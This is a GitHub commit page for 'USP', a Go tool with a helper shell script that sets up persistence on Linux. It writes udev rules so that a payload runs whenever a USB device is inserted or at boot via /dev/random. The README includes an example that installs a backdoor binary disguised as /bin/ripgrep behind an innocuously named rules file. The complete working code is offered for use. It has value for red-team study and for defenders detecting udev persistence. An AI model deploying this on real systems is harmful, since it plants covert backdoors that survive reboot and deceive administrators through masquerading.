Skip to content

Commit

Permalink
initial commit
Browse files Browse the repository at this point in the history
  • Loading branch information
grahamhelton committed Aug 26, 2024
0 parents commit 1d2f06b
Show file tree
Hide file tree
Showing 6 changed files with 258 additions and 0 deletions.
65 changes: 65 additions & 0 deletions README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,65 @@
# USP
```
.,;,.
'KMMMMM0.
,oOXNWWWWWWWMMMMMMMMX
cXMWOl::::::::xMMMMMMMo
cXMWd. 'oO0ko.
.;lll:' cXMWd.
.oNMMMMMMMWx. lNMWd. ,
.NMMMMMMMMMMMW: .lNMNo. USP x udev: Persistance is the key .MWOl.
OMMMMMMMMMMMMMWOOOOOOKWMMMKOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO0MMMMMNx:.
kMMMMMMMMMMMMMNxxxxxxxxxxxxxxxxxONMMMXxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxOMMMMMKd,
.XMMMMMMMMMMMW; ,0MMO' .MNx:.
cKMMMMMMMNd. 'OMMO, .
.,:c:,. ,OMM0'
'OMM0, dXXXXXXXK.
'OMMKxlllllllcXMMMMMMMM.
.:x0XXXXXXXXWMMMMMMMM.
OMMMMMMMM.
.,,,,,,,,
```
## Features
This Go program establishes persistence on a Linux system by creating a udev rule that triggers the execution of a specified payload (binary or script). It offers two trigger options:

- **USB Persistence:** The payload is executed whenever a USB device is inserted.
- **Boot Persistence:** The payload is executed during system boot, leveraging the `/dev/random` device.

Additionally, it provides a cleanup option to remove the established persistence.

## Usage

1. **Compile the Go script:** `go build main.go -o usp`

2. **Run the script with root privileges (sudo):** `sudo ./usp`


You can customize the behavior using the following flags:

- `-f <filename>`: Specify the path where the payload will be written (default: `/usr/local/bin/persistence`).
- `-p <payload>`: Specify the path to the payload file (binary or script) that will be executed. This is a required flag.
- `-r <rulesname>`: Specify the name of the udev rules file (default: `75-persistence.rules`).
- `-usb`: Enable USB persistence.
- `-random`: Enable boot persistence using `/dev/random`.
- `-c`: Cleanup persistence, removing the payload file and udev rule.


## Example
- The following uses the USB persistence method to run `example.sh` everytime a USB device is connected.
```bash
sudo ./usp -p ./example.sh
```

- The following uses the "random" persistence method to run `my_backdoor_binary` everytime `/dev/random` is loaded (such as at boot). It is installed at `/bin/ripgrep`. (Masquerading as the `ripgrep` binary). Additionally, the rules file is created in `/etc/udev/rules.d/123-notsektchy.rules`

```bash
sudo ./usp -random -f /bin/ripgrep -p my_backdoor_binary -r 123-notsketchy.rules
```



## References && Additional Reading
- https://www.aon.com/en/insights/cyber-labs/unveiling-sedexp
- https://ch4ik0.github.io/en/posts/leveraging-Linux-udev-for-persistence/
- https://opensource.com/article/18/11/udev
2 changes: 2 additions & 0 deletions example_payload.sh
Original file line number Diff line number Diff line change
@@ -0,0 +1,2 @@
#!/bin/bash
echo $(date) >> /tmp/usp.log
11 changes: 11 additions & 0 deletions go.mod
Original file line number Diff line number Diff line change
@@ -0,0 +1,11 @@
module github.com/grahamhelton/usp

go 1.22.2

require github.com/fatih/color v1.17.0

require (
github.com/mattn/go-colorable v0.1.13 // indirect
github.com/mattn/go-isatty v0.0.20 // indirect
golang.org/x/sys v0.18.0 // indirect
)
11 changes: 11 additions & 0 deletions go.sum
Original file line number Diff line number Diff line change
@@ -0,0 +1,11 @@
github.com/fatih/color v1.17.0 h1:GlRw1BRJxkpqUCBKzKOw098ed57fEsKeNjpTe3cSjK4=
github.com/fatih/color v1.17.0/go.mod h1:YZ7TlrGPkiz6ku9fK3TLD/pl3CpsiFyu8N92HLgmosI=
github.com/mattn/go-colorable v0.1.13 h1:fFA4WZxdEF4tXPZVKMLwD8oUnCTTo08duU7wxecdEvA=
github.com/mattn/go-colorable v0.1.13/go.mod h1:7S9/ev0klgBDR4GtXTXX8a3vIGJpMovkB8vQcUbaXHg=
github.com/mattn/go-isatty v0.0.16/go.mod h1:kYGgaQfpe5nmfYZH+SKPsOc2e4SrIfOl2e/yFXSvRLM=
github.com/mattn/go-isatty v0.0.20 h1:xfD0iDuEKnDkl03q4limB+vH+GxLEtL/jb4xVJSWWEY=
github.com/mattn/go-isatty v0.0.20/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y=
golang.org/x/sys v0.0.0-20220811171246-fbc7d0a398ab/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.18.0 h1:DBdB3niSjOA/O0blCZBqDefyWNYveAYMNF1Wum0DYQ4=
golang.org/x/sys v0.18.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
152 changes: 152 additions & 0 deletions main.go
Original file line number Diff line number Diff line change
@@ -0,0 +1,152 @@
// This Go program establishes persistence on a Linux system by creating a udev rule
// that triggers the execution of a specified payload (binary or script)
// either when a USB device is inserted or on system boot (using /dev/random).
// It also provides a cleanup option to remove the persistence.

package main

import (
"flag"
"fmt"
"os"
"os/user"

"github.com/fatih/color"
)

var goodTick = color.GreenString("[+] ")
var badTick = color.RedString("[!] ")

func checkRoot() {
// Check if running as root
currentUser, err := user.Current()
if err != nil {
fmt.Println(badTick, "Error getting current user:", err)
os.Exit(1)
}

if currentUser.Uid != "0" {
fmt.Println(badTick, "Error: must be run as root")
os.Exit(1)
}

}

// Write the /etc/udev/rules.d/<filename>.rules
func writeUdevRule(ruleContent string, rulesnamePtr *string) {
err := os.WriteFile("/etc/udev/rules.d/"+*rulesnamePtr, []byte(ruleContent), 0644)
if err != nil {
fmt.Println(badTick, "Error writing udev rule:", err)
os.Exit(1)
}
fmt.Println(goodTick, "Added udev rule:", *rulesnamePtr)

}

// Write the payload that will be executed as persistence
func writePayload(payloadPtr *[]byte, filenamePtr *string) {
err := os.WriteFile(*filenamePtr, *payloadPtr, 0755)
if err != nil {
fmt.Println(badTick, "Error writing payload file:", err)
os.Exit(1)
}
fmt.Println(goodTick, "Added persistence payload:", *filenamePtr)

}

func cleanUp(filenamePtr *string, rulesnamePtr *string) {
// Remove the payload file
err := os.Remove(*filenamePtr)
if err != nil {
fmt.Println(badTick, "Error removing payload file:", err)
} else {
fmt.Println(goodTick, "Removed payload file:", *filenamePtr)

}

// Remove the udev rule
err = os.Remove("/etc/udev/rules.d/" + *rulesnamePtr)
if err != nil {
fmt.Println(badTick, "Error removing udev rule:", err)
} else {
fmt.Println(goodTick, "Removed udev rule:", *rulesnamePtr)
}
}

func main() {
fmt.Println(`
.,;,.
'KMMMMM0.
,oOXNWWWWWWWMMMMMMMMX
cXMWOl::::::::xMMMMMMMo
cXMWd. 'oO0ko.
.;lll:' cXMWd.
.oNMMMMMMMWx. lNMWd. ,
.NMMMMMMMMMMMW: .lNMNo. USP x udev: Persistance is the key .MWOl.
OMMMMMMMMMMMMMWOOOOOOKWMMMKOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO0MMMMMNx:.
kMMMMMMMMMMMMMNxxxxxxxxxxxxxxxxxONMMMXxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxOMMMMMKd,
.XMMMMMMMMMMMW; ,0MMO' .MNx:.
cKMMMMMMMNd. 'OMMO, .
.,:c:,. ,OMM0'
'OMM0, dXXXXXXXK.
'OMMKxlllllllcXMMMMMMMM.
.:x0XXXXXXXXWMMMMMMMM.
OMMMMMMMM.
.,,,,,,,,
`)
checkRoot()

// Define command-line flags
filenamePtr := flag.String("f", "/persistence", "/path/to/location of binary to be installed at")
payloadPtr := flag.String("p", "./example_payload.sh", "Path to the payload file (binary or script) that will be executed")
rulesnamePtr := flag.String("r", "75-persistence.rules", "Name of the persistence rules file")
usbPtr := flag.Bool("usb", false, "Enable USB persistence")
randomPtr := flag.Bool("random", false, "Executes when /dev/random is loaded (on reboot)")
cleanupPtr := flag.Bool("c", false, "Cleanup persistence")

// Parse the flags
flag.Parse()

if *cleanupPtr {
cleanUp(filenamePtr, rulesnamePtr)
os.Exit(0)
}

if !*usbPtr && !*randomPtr {
fmt.Println(badTick, "Please specify a persistence method -usb or -random")
flag.Usage()
os.Exit(1)

} else {
// Check if the payload file exists
if _, err := os.Stat(*payloadPtr); os.IsNotExist(err) {
fmt.Println(badTick, "Error: Payload file not found:", *payloadPtr)
os.Exit(1)
}

// Read the payload from the file
payload, err := os.ReadFile(*payloadPtr)
if err != nil {
fmt.Println(badTick, "Error reading payload file:", err)
os.Exit(1)
}

if *usbPtr {
fmt.Println(goodTick, "Adding USB persistence")
ruleContent := fmt.Sprintf("SUBSYSTEMS==\"usb\", RUN+=\"%s\"", *filenamePtr)
writePayload(&payload, filenamePtr)
writeUdevRule(ruleContent, rulesnamePtr)
}
if *randomPtr {
fmt.Println(goodTick, "Adding /dev/random persistence")
ruleContent := fmt.Sprintf("ACTION==\"add\", ENV{MAJOR}==\"1\", ENV{MINOR}==\"8\", RUN+=\"%s\"", *filenamePtr)
writePayload(&payload, filenamePtr)
writeUdevRule(ruleContent, rulesnamePtr)

}
}
}
17 changes: 17 additions & 0 deletions udev.sh
Original file line number Diff line number Diff line change
@@ -0,0 +1,17 @@
#!/bin/bash
if [[ $EUID -ne 0 ]]; then
echo "This script must be run as root"
exit 1
fi

# Don't write to tmp because it will not survive reboot
# Change to valid path before running
echo "touch /home/graham/exploited" > /home/graham/udev.sh
chmod +x /home/graham/udev.sh

# Add when a USB device is plugged in (which may not be done often, or may be done way too much)
# echo 'SUBSYSTEMS=="usb", RUN+="/bin/sh -c '/tmp/udev.sh'"' > /etc/udev/rules.d/75-persistence.rules

# Run when /dev/random is loaded, which is done at reboot
# Make sure to change /home/graham to something valid on the system
echo 'ACTION=="add", ENV{MAJOR}=="1", ENV{MINOR}=="8", RUN+="/bin/sh -c '/home/graham/udev.sh'"' > /etc/udev/rules.d/75-persistence.rules

0 comments on commit 1d2f06b

Please sign in to comment.